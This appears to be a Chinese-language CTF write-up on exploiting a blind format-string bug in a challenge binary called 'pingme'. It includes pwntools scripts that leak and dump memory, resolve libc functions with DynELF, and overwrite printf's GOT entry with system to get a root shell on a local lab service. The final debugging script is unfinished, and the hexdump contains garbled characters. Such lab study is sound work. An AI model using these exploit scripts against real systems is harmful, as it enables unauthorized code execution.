查看代码
void __cdecl __noreturn main()
{
char format; // [sp+Ch] [bp-4Ch]@2
int v1; // [sp+4Ch] [bp-Ch]@1
v1 = *MK_FP(__GS__, 20);
sub_80485D7(); //没用
puts("Ping me");
while ( 1 )
{
if ( sub_804858B(&format, 64) ) //最多输入64个字节,并返回长度
{
printf(&format); //这个非常明显,是一个fmt
putchar('\n');
}
else
{
puts(";( ");
}
}
}
size_t __cdecl sub_804858B(char *s, int n)
{
char *v3; // [sp+Ch] [bp-Ch]@1
fgets(s, n, stdin); //从输入中读取n个字符,到s
v3 = strchr(s, '\n');
if ( v3 )
*v3 = 0; //将结尾设置为0
return strlen(s); //返回长度
}
关于blind fmt
blind fmt 要求我们在没有二进制文件和 libc.so 的情况下进行漏洞利用,好在程序没有开启任何保护,利用很直接。利用方法如下
- 利用信息泄露把程序从内存中dump下来
- 使用 pwntools 的 DynELF 模块
关闭aslr
echo 0 > /proc/sys/kernel/randomize_va_space
checksec
python
>>> from pwn import *
>>> print ELF('pingme').checksec()
[*] '/root/sploitfun/pingme/pingme'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
开启服务
ncat -vc ./pingme -kl 127.0.0.1 4000
漏洞确认
nc 127.0.0.1 4000
Ping me
123
123
ABCD%7$x
ABCD44434241
编写exp确定fmt的offset
from pwn import *
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
p = remote('127.0.0.1', '4000')
p.recvline()
auto = FmtStr(exec_fmt)
offset = auto.offset
p.close()
结果
python offset_exp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Found format string offset: 7
[*] Closed connection to 127.0.0.1 port 4000
下面我们把二进制文件dump一部分
#coding=utf-8
from pwn import *
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '4000')
p.recvline()
# print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr) # 把地址放在了后面,是为了防止 printf 的 %s 被 \x00 截断 ,另外 .AAA,是作为一个标志,我们需要的内存在 .AAA 的前面,最后,偏移由 7 变为 9
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
start_addr = 0x8048000 #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
end_addr = 0x8049000 #在没有开启 PIE 的情况下,32 位程序从地址 0x8048000 开始,0x1000 的大小就足够了
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
f.write(code_bin)
f.close()
使用DynELF获得function地址
from pwn import *
def leak(addr):
p = remote('127.0.0.1', '4000')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
data = DynELF(leak, 0x08048490) # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)
最后结果
[*] system address: 0xf7e40f70
[*] printf address: 0xf7e505d0
或取各个地址之后编写exp
#!/usr/bin/env python
from pwn import *
payload = fmtstr_payload(7, {0x8049974: 0xf7e3ff70}) #{printf_got(存放的位置): system_addr}(就是将printf存放的值改为system_addr)
p = remote('127.0.0.1', '4000')
p.recvline()
p.sendline(payload)
p.recvline()
p.sendline('/bin/sh')
p.interactive()
查看发送了哪些内容
[DEBUG] Sent 0x3c bytes:
00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 鈹倀路路路鈹倁路路路鈹倂路路路鈹倃路路路鈹
00000010 25 39 36 63 25 37 24 68 68 6e 25 31 34 33 63 25 鈹
00000020 38 24 68 68 6e 25 32 32 38 63 25 39 24 68 68 6e 鈹.h鈹俷%22鈹.9鈹
00000030 25 32 30 63 25 31 30 24 68 68 6e 0a 鈹
0000003c
开头是 printf@got 地址,四个字节分别位于:
0x08049974
0x08049975
0x08049976
0x08049977
结果
python exp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)
dump文件出现的问题:没弄明白怎么回事(0x804800A、0x804810A这种地址会报错),但是用这种方法可以解决,程序半成品
是因为\x0a 被当作换行符
# coding=utf-8
import time
from pwn import *
canshu = 0x8048000
p = remote('127.0.0.1', '4000')
raw_input('#')
result = ''
for i in range(1):
try:
time.sleep(0.1)
p.recvline()
payload = "%9$szzzz" + p32(0x804800a)
canshu +=1
p.sendline(payload)
print 1
print p.recvline().encode('hex')
print 2
print p.recvline().encode('hex')
#print p.recvline()
# data = p.recvuntil('zzzz')
# print (data).encode('hex')
# if data == "":
# data = "\x00"
#print data.encode('hex')
except:
#result += '\x00'
#print '\00'.encode('hex')
print canshu
p = remote('127.0.0.1', '4000')
p.close()
# with open("code.bin", "wb") as f:
# f.write(result)
# f.close()
'''
...
0x804800A
0x804810A
0x804820A
0x804830A?
0x804840A
...
'''
结果
python b00kexp.py
[+] Opening connection to 127.0.0.1 on port 4000: Done
#
1
0c240fbe4a018d51d080fa09777c8b54240289c58d74267a7a7a7a0a
2
8004080a
[*] Closed connection to 127.0.0.1 port 4000